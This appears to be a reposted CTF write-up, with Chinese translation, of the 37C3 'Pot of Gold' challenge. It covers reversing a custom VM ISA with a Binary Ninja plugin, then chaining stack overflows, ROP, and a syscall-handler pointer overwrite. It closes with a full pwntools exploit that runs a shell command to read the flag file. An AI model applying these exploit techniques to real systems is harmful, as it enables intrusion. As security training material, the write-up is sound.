LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

WriteUp 2个月前 admin
25 0 0

This article explores the process of reversing a custom instruction set architecture (ISA) of the Pot of Gold CTF challenge (37C3 CTF) using Binary Ninja Intermediate Language (IL) to decompile the challenge code. Next, it describes the exploitation part, first getting code execution in the emulator, then pivoting to a second process and ultimately exploiting the opcode emulation to retrieve the flag.
本文探讨了使用二进制忍者中间语言 (IL) 逆向 Pot of Gold CTF 挑战 (37C3 CTF) 的自定义指令集架构 (ISA) 来反编译挑战代码的过程。接下来,它描述了利用部分,首先在模拟器中执行代码,然后转向第二个进程,并最终利用操作码模拟来检索标志。

Pot Of Gold is a reversing and pwn challenge written by blasty which was solved by two teams during 37C3 Potluck CTF.
Pot Of Gold 是由blasty 编写的逆转和pwn 挑战,在37C3 Potluck CTF 期间由两支队伍解决。

CHALLENGE INTRODUCTION 挑战介绍

Before looking at the provided files, let’s connect to the server:
在查看提供的文件之前,让我们连接到服务器:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

So, the first part of the challenge is to retrieve the password to access the shell kitchen.
因此,挑战的第一部分是检索访问 shell kitchen 的密码。

Conveniently, a Dockerfile is provided to reproduce the server environment and the following shell script run.sh is executed on new TCP connection.
为了方便起见,提供了 Dockerfile 来重现服务器环境,并在新的 TCP 连接上执行以下 shell 脚本 run.sh 。

#!/bin/sh

(/chall /gordon.bin /tmp/x 1 >/dev/null 2>/dev/null) &
sleep 1
/chall /kitchen.bin /tmp/x 0

The chall file is a classic static stripped ELF x86-64 executable and the two binaries files are custom blobs. The custom binaries start with the magic UNICORN (not related to Unicorn Engine) and kitchen.bin contains the welcome banner, so there are probably not encrypted.
chall 文件是经典的静态剥离 ELF x86-64 可执行文件,两个二进制文件是自定义 blob。自定义二进制文件以神奇的 UNICORN 开头(与 Unicorn Engine 无关),并且 kitchen.bin 包含欢迎横幅,因此可能未加密。

REVERSING THE BINARY 反转二进制

Although stripped, the challenge binary is readable. It implements an emulator for a custom architecture, the opcode emulation handler function is quickly identified thanks to the large switch case:
虽然被剥离,但挑战二进制文件是可读的。它实现了一个自定义架构的模拟器,由于有大的 switch case,操作码模拟处理程序函数可以被快速识别:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

The emulator is called Virtual Machine (VM) in the rest of the article for simplicity purposes.
为了简单起见,在本文的其余部分中,模拟器被称为虚拟机 (VM)。

The command line argument /tmp/x is used to create a communication channel between gordon.bin the master process and kitchen.bin the slave application (argv[3] used to identify the master). Thus, two FIFO named pipes are created with mknod by the two processes:
命令行参数 /tmp/x 用于在 gordon.bin 主进程和 kitchen.bin 从应用程序之间创建通信通道( argv[3] 用于识别主人)。因此,两个进程使用 mknod 创建了两个 FIFO 命名管道:

  • /tmp/x_master
  • /tmp/x_slave

Then, the binary blob specified in argv[1] is parsed and loaded:
然后,解析并加载 argv[1] 中指定的二进制 blob:

// From reverse engineering of the parsing loop
struct unicorn_blob_file {
    char magic[8]; // const "UNICORN"
    uint16_t nb_segments;
    struct segment {
        uint16_t virtual_base;
        uint16_t size;
        uint16_t protection; // bitfield 1 - read ; 2 - write ; 4 - exec
    } segments[ANYSIZE_ARRAY]; // array of size nb_segments
    char data[ANYSIZE_ARRAY]; // first segment data (array of size segments[0].size)
};

Only the first segment contains data, the others are set to zero.
仅第一段包含数据,其他段均设置为零。

Note: Both files contain only 2 segments, the first one is the actual blob code and data. The second segment is used for the VM stack.
注意:两个文件仅包含 2 个段,第一个是实际的 blob 代码和数据。第二段用于VM 堆栈。

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

Finally, the VM opcode handler is executed in a loop:
最后,VM 操作码处理程序在循环中执行:

// inside main function
  do
  {
    if ( exec_one_instruction(vm) )
      exit(1);
  }
  while ( !vm->stopped );

REVERSING THE ISA OPCODES
反转 ISA 操作码

The VM management structure can be reversed using the initialization function and the exec_one_instruction function:
可以使用初始化函数和 exec_one_instruction 函数反转VM管理结构:

struct vm {
    uint64_t regs[8]; // General Purpose Register
    uint64_t sp;
    uint64_t lr;
    uint64_t pc;
    uint64_t fl; // flags register
    void * mem;  // Memory mapping linked list
    void (*handle_syscall)(struct vm*, int syscall_id);
    bool stopped;
    bool is_master;
};

Now the code looks readable and we can understand the basic opcodes:
现在代码看起来可读了,我们可以理解基本的操作码:

int exec_one_instruction(vm * vm)
{
    if ( (get_segment_prot(vm, vm->pc) & PROT_EXEC) == 0 )
        exit(1);
    // Read instruction
    read_vm_memory(vm, vm->pc, &opcode, 1);
    read_vm_memory(vm, vm->pc + 1, &arg1, 1);
    read_vm_memory(vm, vm->pc + 2, &arg3, 1);
    read_vm_memory(vm, vm->pc + 3, &arg2, 1);
    arg23 = _byteswap_ushort((arg3 << 8) | arg2);
    // Parse and execute instruction
    switch ( opcode )
    {
        case 0:
            // NOP
            break;
        /* ... */
        case 4:
            // ALU ops
            /* ... */
            switch ( arg1 >> 4 )
            {
                case 0:
                    vm->regs[arg3] = vm->regs[arg2] + operand;
                    break;
                case 1:
                    vm->regs[arg3] = vm->regs[arg2] - operand;
                    break;
                case 2:
                    vm->regs[arg3] =vm->regs[arg2] * operand;
                    break;
            /* ... */
            }
            break;
        case 5:
            // Syscall
            vm->handle_syscall(vm, arg1);
            break;
        /* ... */
        case 8:
            // Push
            vm->sp -= 8;
            write_vm_memory(vm, vm->sp, &vm->regs[arg1], 8);
            break;
        case 9:
            // Pop
            read_vm_memory(vm, vm->sp, &vm->regs[arg1], 8);
            vm->sp += 8;
            break;
        /* ... */
        case 0xC:
            // Branch to link register (ret)
            vm->pc = vm->lr;
            return 0;
    }
    vm->pc += 4;
}

With a better understanding of the VM opcodes, the syscall function can be reversed. Syscalls are used to provide VM a way to interact with the user (1/2) and also with the other VM process (3/4).
通过更好地理解 VM 操作码,可以反转系统调用函数。系统调用用于为 VM 提供一种与用户 (1/2) 以及其他 VM 进程 (3/4) 交互的方式。

Syscall ID 系统调用ID Description 描述
0 Stop the VM 停止虚拟机
1 Output a character (regs[0])
输出一个字符(regs[0])
2 Read a character (regs[0])
读取一个字符(regs[0])
3 Send message to FIFO (ptr: regs[0], size: regs[1])
发送消息到 FIFO (ptr: regs[0], size: regs[1])
4 Receive message from FIFO (ptr: regs[0], size: regs[1])
从 FIFO 接收消息(ptr: regs[0], size: regs[1])
5 Pseudo random generator (regs[0])
伪随机发生器(regs[0])
7 Get uptime (system("uptime > /tmp/u") to ptr: regs[0])
获取正常运行时间( system("uptime > /tmp/u") 到 ptr: regs[0])

A sharp reader may have noticed that the instruction parser is not free of bugs (register index not validated) but at this stage, no control can be exerted on the instructions.
敏锐的读者可能已经注意到,指令解析器并非没有错误(寄存器索引未验证),但在这个阶段,无法对指令进行控制。

WRITING A DECOMPILER FOR THE CUSTOM ISA
为自定义 ISA 编写反编译器

Dissassembler 反汇编器

The next step would be to write a quick-and-dirty dissassembler to analyze both binaries and find the password to access the shell.
下一步是编写一个快速而肮脏的反汇编程序来分析这两个二进制文件并找到访问 shell 的密码。

The ISA was implemented in Binary Ninja to get a better visual representation of the code flow (graph view).
ISA 在 Binary Ninja 中实现,以获得更好的代码流可视化表示(图形视图)。

The architecture plugin API of Binary Ninja is well documented in a series of blogposts.
Binary Ninja 的架构 plugin API 在一系列博客文章中有详细记录。

Since writing an architecture plugin requires closing and opening Binary Ninja for each code change, starting with the loader makes the process easier (no need to choose the architecture and the loading file offset each time).
由于编写架构插件需要为每次代码更改关闭和打开 Binary Ninja,因此从加载器开始使过程更容易(无需每次选择架构和加载文件偏移量)。

A loader is called a BinaryView, let’s implement the loader:
加载器称为 BinaryView ,让我们实现加载器:

from struct import unpack
from binaryninja.binaryview import BinaryView
from binaryninja.enums import SegmentFlag

class POTLUCKView(BinaryView):
    name = 'POTLUCKView'
    long_name = 'POTLUCKView ROM'

    def __init__(self, data):
        BinaryView.__init__(self, parent_view = data, file_metadata = data.file)
        # self.platform = Architecture['POTLUCK'].standalone_platform
        self.data = data

    @classmethod
    def is_valid_for_data(self, data):
        header = data.read(0, 7)
        return header == b'UNICORN'

    def perform_get_address_size(self):
        return 8

    def init(self):
        # Parse struct unicorn_blob_file
        segment_count = unpack("<H", self.data.read(0x8, 2))[0]
        print(f"segment count = {segment_count}")
        # Only the first segment is loaded from file
        base = unpack("<H", self.data.read(0xA, 2))[0]
        size = unpack("<H", self.data.read(0xC, 2))[0]
        prot = unpack("<H", self.data.read(0xE, 2))[0]
        # Load code + data from file offset (0xA + sizeof(struct segment) * segment_count) at base: 0x0
        self.add_auto_segment(base, size, 0xA + 6 * segment_count, size, SegmentFlag.SegmentReadable|SegmentFlag.SegmentExecutable)
        # No need to load the zeroed stack segment (read full loader code if interested)
        return True
    
    def perform_is_executable(self):
        return True

    def perform_get_entry_point(self):
        return 0

POTLUCKView.register()

The file format is recognized and loaded automatically:
文件格式被自动识别并加载:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

Now the architecture should be added to provide ISA information to Binary Ninja.
现在应该添加架构以向 Binary Ninja 提供 ISA 信息。

An architecture must contain three callbacks:
一个架构必须包含三个回调:

  • get_instruction_text(self, data: bytes, addr: int) -> Optional[Tuple[List[InstructionTextToken], int]]
    • Instruction decoding to text
      指令解码为文本
  • get_instruction_info(self, data:bytes, addr:int) -> Optional[InstructionInfo]
    • Metadata of instruction for control flow analysis
      用于控制流分析的指令元数据
  • get_instruction_low_level_il(self, data: bytes, addr: int, il: LowLevelILFunction) -> Optional[int]
    • Instruction to Binary Ninja IL for decompilation
      Binary Ninja IL 反编译指令

The architecture also provides the address size, the registers including the stack and link register to help the analysis.
该架构还提供了地址大小、寄存器(包括堆栈和链接寄存器)来帮助分析。

If we implement only the push/pop instructions for example:
如果我们只实现 push/pop 指令,例如:

from typing import Callable, List, Type, Optional, Dict, Tuple, NewType

from binaryninja.architecture import Architecture, InstructionInfo, RegisterInfo
from binaryninja.lowlevelil import LowLevelILFunction
from binaryninja.function import InstructionTextToken
from binaryninja.enums import InstructionTextTokenType

class POTLUCK(Architecture):
    name = "POTLUCK"
    address_size = 4
    default_int_size = 4
    instr_alignment = 4
    max_instr_length = 4
    regs = {
        'R0': RegisterInfo('R0', 4),
        'R1': RegisterInfo('R1', 4),
        'R2': RegisterInfo('R2', 4),
        'R3': RegisterInfo('R3', 4),
        'R4': RegisterInfo('R4', 4),
        'R5': RegisterInfo('R5', 4),
        'R6': RegisterInfo('R6', 4),
        'R7': RegisterInfo('R7', 4),
        'SP': RegisterInfo('SP', 4),
        'LR': RegisterInfo('LR', 4),
    }
    stack_pointer = "SP"
    link_reg = "LR"

    def get_instruction_info(self, data:bytes, addr:int) -> Optional[InstructionInfo]:
        return None

    def get_instruction_text(self, data: bytes, addr: int) -> Optional[Tuple[List[InstructionTextToken], int]]:
        opcode = data[0]
        arg1 = data[1]
        ops = []
        if opcode == 8:
            ops.append(InstructionTextToken(InstructionTextTokenType.TextToken, "push "))
            ops.append(InstructionTextToken(InstructionTextTokenType.RegisterToken, f'R{arg1}'))
        elif opcode == 9:
            ops.append(InstructionTextToken(InstructionTextTokenType.TextToken, "pop "))
            ops.append(InstructionTextToken(InstructionTextTokenType.RegisterToken, f'R{arg1}'))
        return ops, 4 # len of instruction

    def get_instruction_low_level_il(self, data: bytes, addr: int, il: LowLevelILFunction) -> Optional[int]:
        return None

POTLUCK.register()

Uncomment the line # self.platform = Architecture['POTLUCK'].standalone_platform in the BinaryView to automatically load the correct architecture.
取消注释 BinaryView 中的 # self.platform = Architecture['POTLUCK'].standalone_platform 行以自动加载正确的架构。

Note: Never return 0 in get_instruction_text and get_instruction_low_level_il since the return value is the number of parsed bytes, it will cause an infinite loop. Instead return None.
注意: get_instruction_text 和 get_instruction_low_level_il 中永远不要返回0,因为返回值是解析的字节数,这会导致无限循环。相反 return None 。

Implementing the other 11 instructions (plus 9 sub opcodes for ALU) is not described here.
此处不描述其他 11 条指令(加上 ALU 的 9 个子操作码)的实现。

One important missing piece is the control flow analysis using get_instruction_info, without it, Binary Ninja cannot find function boundaries:
一个重要的缺失部分是使用 get_instruction_info 进行控制流分析,没有它,Binary Ninja 无法找到函数边界:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

During development to get a linear dissassembly, implement a basic get_instruction_info stub that accepts any sequence of bytes.
在开发过程中,为了获得线性反汇编,请实现一个接受任何字节序列的基本 get_instruction_info 存根。

    def get_instruction_info(self, data:bytes, addr:int) -> Optional[InstructionInfo]:
        info = InstructionInfo()
        info.length = 4
        return info

The get_instruction_info provides information about branches, calls, returns and syscalls.
get_instruction_info 提供有关分支、调用、返回和系统调用的信息。

From the documentation: 从文档中:

BranchType 分支类型 Description 描述
UnconditionalBranch 无条件分支 Branch will always be taken
分支将始终被占用
FalseBranch 假分支 False branch condition 假分支条件
TrueBranch 真分支 True branch condition 真分支条件
CallDestination 呼叫目的地 Branch is a call instruction (Branch with Link)
分支是一条调用指令(Branch with Link)
FunctionReturn 函数返回 Branch returns from a function
分支从函数返回
SystemCall 系统调用 System call instruction 系统调用指令
IndirectBranch 间接分支 Branch destination is a memory address or register
分支目标是内存地址或寄存器
UnresolvedBranch 未解决的分支 Branch destination is an unknown address
分支目的地是未知地址

In the custom ISA, only syscall (5), conditional branch (1), call (10) and ret modify the control flow.
在自定义ISA中,只有 syscall (5)、条件 branch (1)、 call (10)和 ret 修改控件流动。

    def get_instruction_info(self, data:bytes, addr:int) -> Optional[InstructionInfo]:
        if not is_valid_instruction(data):
            return None
        opcode = data[0]
        arg1 = data[1]
        arg23 = get_arg23(data[2:4])
        result = InstructionInfo()
        result.length = 4
        if opcode == 5:     # SYSCALL
            result.add_branch(BranchType.SystemCall, arg1)
        elif opcode == 1:   # BRANCH
            if arg1 == 0:
                result.add_branch(BranchType.UnconditionalBranch, addr + arg23) # b +imm
            else:
                result.add_branch(BranchType.TrueBranch, addr + arg23) # b +imm if flag
                result.add_branch(BranchType.FalseBranch, addr + 4)    # continue if not flag
        elif opcode == 10:  # CALL
            if arg1 == 1:
                result.add_branch(BranchType.IndirectBranch) # call register
            else:
                result.add_branch(BranchType.CallDestination, addr + arg23) # call +imm
        elif opcode == 12:  # RET
            result.add_branch(BranchType.FunctionReturn)
        return result

Now the dissassembly is readable and the reverse engineering of the gordon and kitchen binaries can start:
现在反汇编是可读的,并且可以开始 gordon 和 kitchen 二进制文件的逆向工程:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

Decompiler 反编译器

The code is readable but it is possible to do better with Binary Ninja IL.
该代码是可读的,但使用 Binary Ninja IL 可以做得更好。

Indeed with the Intermediate Language, the architecture plugin can describe the custom ISA instructions using Binary Ninja low level instructions (LLIL_LOADLLIL_ADDLLIL_SET_REG, …) that will be analyzed by Binary Ninja to produce a clean pseudo C decompiled output.
事实上,通过中间语言,架构插件可以使用二进制 Ninja 低级指令( LLIL_LOAD 、 LLIL_ADD 、 LLIL_SET_REG 等)来描述自定义 ISA 指令,这将由 Binary Ninja 分析以产生干净的伪 C 反编译输出。

The following function for example will be much easier to read in pseudo code after several optimization passes performed automatically.
例如,在自动执行多次优化之后,以下函数将更容易以伪代码读取。

ASM: 先进制造:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

Pseudo C: 伪C:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

The third callback is used to return the IL operations: get_instruction_low_level_il.
第三个回调用于返回 IL 操作: get_instruction_low_level_il 。

One complex part is handling the conditional branches and it is described in the second blogpost of Binary Ninja. In addition, handling properly the flag register on compares and branches opcodes can be time consuming, ignore it unless interested to learn.
一个复杂的部分是处理条件分支,它在 Binary Ninja 的第二篇博客文章中进行了描述。此外,正确处理比较和分支操作码上的标志寄存器可能非常耗时,除非有兴趣学习,否则请忽略它。

To represent an ISA instruction, multiple Binary Ninja Low Level IL (LLIL) instructions can be appended. Actually, one LLIL instruction is structured as a expression tree that contain sub-LLIL instructions as operands.
为了表示 ISA 指令,可以附加多个二进制 Ninja 低级 IL (LLIL) 指令。实际上,一条 LLIL 指令被构造为包含子 LLIL 指令作为操作数的表达式树。

def get_instruction_low_level_il(self, data: bytes, addr: int, il: LowLevelILFunction) -> Optional[int]:
    # ...
    # Represent: xor rX, 0xX
    dst = src = RegisterName(get_register_name(arg[0]))
    operand = il.const(4, arg[1])
    ## value of rX
    op = il.reg(4, src)
    # XOR (value of rX, const)
    op = il.xor_expr(4, op, operand)
    # set value of rX (XOR (value of rX, const))
    op = il.set_reg(4, dst, op)
    # Append it to the il `LowLevelILFunction`
    il.append(op)
    return 4 # len of instruction

With the documentation and available python plugin examples, implementing the ~20 instructions is quite fast.
有了文档和可用的 python 插件示例,实现大约 20 条指令是相当快的。

To nicely display syscalls in pseudo C view, a virtual register ID and a custom calling convention for syscall was registered. Indeed by default, the system_call IL doesn’t take any parameter thus the decompiled view will only show syscall();.
为了在伪 C 视图中很好地显示系统调用,注册了一个虚拟寄存器 ID 和系统调用的自定义调用约定。事实上,默认情况下, system_call IL 不带任何参数,因此反编译视图只会显示 syscall(); 。

# Lift syscall in get_instruction_low_level_il
il.append(il.set_reg(4, RegisterName('ID'), il.const(4, arg1)))
i = il.system_call()

# Syscall custom calling convention
class CustomSyscall(CallingConvention):
    int_arg_regs = ['ID', 'R0', 'R1']
    int_return_reg = 'R0'
    eligible_for_heuristics = False # force display of int_arg_regs

# Register custom calling convention
CustomSyscall(arch=Architecture['POTLUCK'], name='CustomSyscall')
Architecture['POTLUCK'].register_calling_convention(cc_sys)
self.platform.system_call_convention = cc_sys

The full plugin source code is available here (code was written in haste for CTF).
完整的插件源代码可以在这里找到(代码是为 CTF 匆忙编写的)。

Note: Although the ISA uses 64-bits registers, the decompiled code looks better with 32-bit address_size.
注意:虽然 ISA 使用 64 位寄存器,但反编译代码使用 32 位 address_size 看起来更好。

Now, the challenge can be approached with ease, or so it seems.
现在,这个挑战可以轻松应对,至少看起来是这样。

GORDON VM 戈登·VM

The main function receives 256 bytes from the Kitchen FIFO and based on the first word of the message, it calls a different command function:
主函数从 Kitchen FIFO 接收 256 个字节,并根据消息的第一个字调用不同的命令函数:

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3
  • 0xf01dc0de -> Send random sentence to Kitchen
    0xf01dc0de -> 发送随机句子到厨房
  • 0xbadf0001 -> Send hardcoded “Friendship is not for sale, dummy!” to Kitchen
    0xbadf0001 -> 发送硬编码的“友谊是非卖品,傻瓜!”到厨房
  • 0xc0cac01a -> Provide free stack buffer overflow
    0xc0cac01a -> 提供空闲堆栈缓冲区溢出
  • 0xc01db007 -> Send uptime to Kitchen
    0xc01db007 -> 将正常运行时间发送到厨房

Indeed, the handler for 0xc0cac01a is the following and the size of the memcpy is larger than the reserved size of the var_84 buffer:
事实上, 0xc0cac01a 的处理程序如下,并且 memcpy 的大小大于 var_84 缓冲区的保留大小:

// Low level IL representation
0x00000380  int32_t command_c0ca(int32_t* arg1 @ R0)

   0x00000380  push(LR)
   0x00000384  SP = SP - 0x80
   0x00000388  R1 = R0
   0x0000038c  R0 = SP {var_84}
   0x00000390  R2 = 0x100
   0x00000394  call(memcpy) // memcpy(&var_84, arg1, 0x100);
   0x00000398  SP = SP + 0x80
   0x0000039c  LR = pop
   0x000003a0  <return> jump(LR)

It is nice to find a bug but currently the function is not reachable…
很高兴找到一个错误,但目前该功能无法访问……

KITCHEN VM 厨房虚拟机

The main function generates and sends to the user a secret challenge. Then, it receives the user input and compares it with the secret challenge XOR 1ac0cac05eea150d1df0af5c11ba5eba.
主要功能生成并发送给用户一个秘密挑战。然后,它接收用户输入并将其与秘密挑战 XOR 1ac0cac05eea150d1df0af5c11ba5eba 进行比较。

Note: The xor_with_const was shown as an example in the Decompiler section.
注意: xor_with_const 在反编译器部分中作为示例显示。

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

The Kitchen strings are encrypted (except the banner) with the following algorithm:
Kitchen 字符串(横幅除外)使用以下算法加密:

def decrypt(addr, size):
    o = b''
    for i, e in enumerate(bv.read(addr, size)):
        key = struct.pack('<I', (0xf00dcafe ^ ((addr + i) * 0x10001)))
        o += bytes([e ^ key[(addr + i) % 4]])
    return o

# >>> decrypt(0x1239, 38)
# b"Welcome to Shell's Kitchen, stranger!\n"

The shell kitchen is a menu with 4 options:
贝壳厨房是一个有 4 个选项的菜单:

  • 1 -> send 0xf01dc0de to Gordon and print the random phrase
    1 -> 发送 0xf01dc0de 给 Gordon 并打印随机短语
  • 2 -> read 0xff bytes (stops on 0xa or 0xd) in a stack variable of size 0x44 ; then send 0xbadf0001 to Gordon and print the returned string (Friendship)
    2 -> 在大小为 0x44 的堆栈变量中读取 0xff 字节(在 0xa 或 0xd 处停止);然后将 0xbadf0001 发送给 Gordon 并打印返回的字符串(友谊)
  • 3 -> send 0xc01db007 to Gordon and print uptime
    3 -> 发送 0xc01db007 给 Gordon 并打印正常运行时间
  • 4 -> exit 4 -> 退出

Neat! Another stack buffer overflow and this time reachable with user input. Note that the corruption occurs inside the custom VM, allowing control of the instruction pointer in the emulated code.
整洁的!另一个堆栈缓冲区溢出,这次可以通过用户输入到达。请注意,损坏发生在自定义虚拟机内部,从而允许控制模拟代码中的指令指针。

VULNERABILITIES AND EXPLOIT STEPS
漏洞和利用步骤

After sending the correct challenge, sending a buffer of 0x44 bytes in the command 2 will trigger the stack buffer overflow and corrupt saved LR in the VM.
发送正确的质询后,在命令 2 中发送 0x44 字节的缓冲区将触发堆栈缓冲区溢出并损坏 VM 中的 saved LR 。

LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

In Kitchen, the stack is RW and the code is RX due to VM memory protection but careful readers may have noticed that the stack of Gordon VM is RWX. Thus pivoting to Gordon process is interesting to forge corrupted instructions and reach the vulnerability in the ISA opcode parsing (Out-Of-Bounds register index).
在 Kitchen 中,由于 VM 内存保护,堆栈为 RW ,代码为 RX ,但细心的读者可能已经注意到,Gordon VM 的堆栈为 RWX 。因此,转向 Gordon 进程对于伪造损坏的指令并触及 ISA 操作码解析(越界寄存器索引)中的漏洞很有趣。

Since there is no stack cookie and no ALSR in the both VM, the exploitation part is straightforward.
由于两个虚拟机中都没有堆栈 cookie 和 ALSR,因此利用部分很简单。

The exploit plan is:
漏洞利用计划是:

  1. Trigger command 2 stack buffer overflow in Kitchen
    Kitchen 中触发命令 2 堆栈缓冲区溢出
  2. ROP in Kitchen to send vulnerable 0xc0cac01a command to Gordon
    厨房中的 ROP 将易受攻击的 0xc0cac01a 命令发送给 Gordon
  3. Trigger command 0xc0cac01a stack buffer overflow in Gordon
    Gordon 中触发命令 0xc0cac01a 堆栈缓冲区溢出
  4. Ret2shellcode in Gordon on malformed instruction
    Gordon 中的 Ret2shellcode 存在格式错误的指令

    • Malformed instruction to write past registers in struct vm directly overwriting handle_syscall function pointer
      格式错误的指令,用于在 struct vm 中写入过去的寄存器,直接覆盖 handle_syscall 函数指针
    • Replace handle_syscall function pointer with system address
      将 handle_syscall 函数指针替换为 system 地址
    • Execute instruction syscall to run arbitrary shell command
      执行指令 syscall 运行任意shell命令
    • Read the flag 阅读旗帜
    • Send back the flag to Kitchen using FIFO
      使用 FIFO 将标志发送回 Kitchen
  5. ROP continue in Kitchen to receive the flag and print it to stdout
    ROP 继续在 Kitchen 中接收标志并将其打印到标准输出

Step 1 & 2
步骤 1 和 2

Fortunately, the following gadget in Kitchen allows us to control all registers used as arguments (R0, R1, R2) and the link register before jumping to the syscall 4 to send to Gordon the payload.
幸运的是,Kitchen 中的以下小工具允许我们在跳转到系统调用 4 以将有效负载发送给 Gordon 之前控制所有用作参数的寄存器(R0、R1、R2)和链接寄存器。

0x0000164  pop LR
0x0000168  pop R5
0x000016c  pop R4
0x0000170  pop R2
0x0000174  pop R1
0x0000178  pop R0
0x000017c  ret

The stack pointer is not randomized in the VM, so the input buffer address is hardcoded in the exploit.
堆栈指针在虚拟机中不是随机的,因此输入缓冲区地址在漏洞利用中是硬编码的。

Step 3 & 4
步骤 3 和 4

The challenge binary is not PIE also it is statically built. The system function is present in the binary to handle the uptime command. Thus the exploit hardcodes the address of system.
挑战二进制文件不是 PIE,它也是静态构建的。 system 函数存在于二进制文件中,用于处理 uptime 命令。因此,该漏洞利用硬编码了 system 的地址。

Most instructions don’t check the register index but due to the limitation of character 0xd in the read function, encoding R13 register results in the forbidden byte:
大多数指令不会检查寄存器索引,但由于读取函数中字符 0xd 的限制,对 R13 寄存器进行编码会导致禁止字节:

    uint64_t regs[8];
    uint64_t sp; // OOB index 8  (0x8)
    uint64_t lr; // OOB index 9  (0x9)
    uint64_t pc; // OOB index 10 (0xa)
    uint64_t fl; // OOB index 11 (0xb)
    void * mem;  // OOB index 12 (0xc)
    void (*handle_syscall)(struct vm*, int syscall_id); // OOB index 13 (R13) (0xd)

Thankfully, the mov instruction uses the 4 msb bits to select the destination register so encoding the mov results in valid bytes 0x07 0xd0 0x00 0x00.
值得庆幸的是, mov 指令使用 4 个 msb 位来选择目标寄存器,因此对 mov 进行编码会产生有效字节 0x07 0xd0 0x00 0x00 。

    case 7:
        /* ... */
        vm->regs[arg1 >> 4] = vm->regs[arg3];

The handler of handle_syscall replaced, the first argument is the pointer to the vm structure. The first fields are the VM registers, consequently the exploit can control the registers to create a string in memory that will be executed as system command.
handle_syscall 的处理程序被替换,第一个参数是指向 vm 结构的指针。第一个字段是 VM 寄存器,因此漏洞利用程序可以控制寄存器在内存中创建一个字符串,该字符串将作为 system 命令执行。

Since stdout and stderr are closed in the run.sh script, the flag cannot be printed directly.
由于stdout和stderr在 run.sh 脚本中被关闭,因此无法直接打印该标志。

In order to send the flag to Kitchen, the system command redirects writes to the FIFO file (/tmp/x_master).
为了将标志发送到 Kitchen, system 命令将写入重定向到 FIFO 文件 ( /tmp/x_master )。

Step 5 步骤5

The ROP chain continues in Kitchen by calling in the middle of a function to receive from the FIFO and print it to stdout.
ROP 链在 Kitchen 中继续,通过在函数中间调用从 FIFO 接收并将其打印到标准输出。

Note: The full payload exploiting both VM plus the challenge executable is bundled inside one message of 0xff bytes.
注意:利用 VM 和质询可执行文件的完整有效负载捆绑在一条 0xff 字节消息内。

CONCLUSION 结论

The full exploit script is available below and got us the flag and the first blood during 37C3 Potluck CTF.
完整的漏洞利用脚本如下所示,它让我们在 37C3 Potluck CTF 期间获得了旗帜和第一滴血。

Thanks blasty for the cool challenge and ZetaTwo for the CTF!
感谢blasty 的精彩挑战和ZetaTwo 的CTF!

EXPLOIT SCRIPT 漏洞利用脚本

from pwn import *

r = remote('challenge27.play.potluckctf.com', 31337)

# Secret challenge
r.recvuntil(b'stew:\n\n')
secret = bytes.fromhex(r.recvline().strip().decode())
code = xor(secret, p32(0xc0cac01a) + p32(0xd15ea5e) + p32(0x5caff01d) + p32(0xba5eba11)).hex().encode()
r.sendline(code)

# Select vulnerable command 2
r.recvuntil(b'choice> ')
r.sendline(b'2')
r.recvline()

# Gadgets
pop_lr_r5_r4_r2_r1_r0 = 0x164
send_command_gadget = 0x5b0
recv_and_print = 0x714
stack_in_kitchen = 0xfdb8
stack_in_gordon = 0xef7c
system_api_chall = 0x4033A2

# Payload
payload = p32(0xc0cac01a) # command magic
# Gordon shellcode
'''
syscall instruction -> handle_syscall(vm) -> system(vm) -> system(&vm->regs[0])
r0/r1/r2 -> "cat /fla* > /tmp/x_master\x00"
'''
payload += b'\x09\x05\x00\x00' # pop r5 -- @system
payload += b'\x07\xd0\x05\x00' # mov R13, R5 -- write to handle_syscall
payload += b'\x09\x00\x00\x00' # pop r0 -- cat /flag...
payload += b'\x09\x01\x00\x00' # pop r1
payload += b'\x09\x02\x00\x00' # pop r2
payload += b'\x09\x03\x00\x00' # pop r3
payload += b'\x05\x07\x00\x00' # syscall 7

assert len(payload) <= 0x40
payload += b'X' * (0x40 - len(payload))
# Kitchen ROP chain
payload += p64(pop_lr_r5_r4_r2_r1_r0)
payload += p64(send_command) # lr
payload += p64(0) # r5
payload += p64(0) # r4
payload += p64(0) # r2
payload += p64(0x100) # r1
payload += p64(stack_in_kitchen) # r0
payload += p64(recv_and_print) # recv + print
payload += b'X' * (0x80 - len(payload))
# Gordon ret2shellcode
payload += p64(stack_in_gordon)
# Gordon shellcode pop
payload += p64(system_api_chall) # @system
payload += b'cat /fla* > /tmp/x_master\x00' # cmd

assert not b"\x0a" in payload
assert not b"\x0d" in payload
payload += b'\n'

r.send(payload)

r.interactive()
# potluck{3y3_4m_n0t_th3_0n3_t0_s0Rt_0f_s1T_4nD_cRY_0v3R_sP1Lt_m1LK!1!!}

原文始发于Thomas Imbert:LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3

版权声明:admin 发表于 2024年2月27日 上午12:07。
转载请注明:LEVERAGING BINARY NINJA IL TO REVERSE A CUSTOM ISA: CRACKING THE “POT OF GOLD” 37C3 | CTF导航

相关文章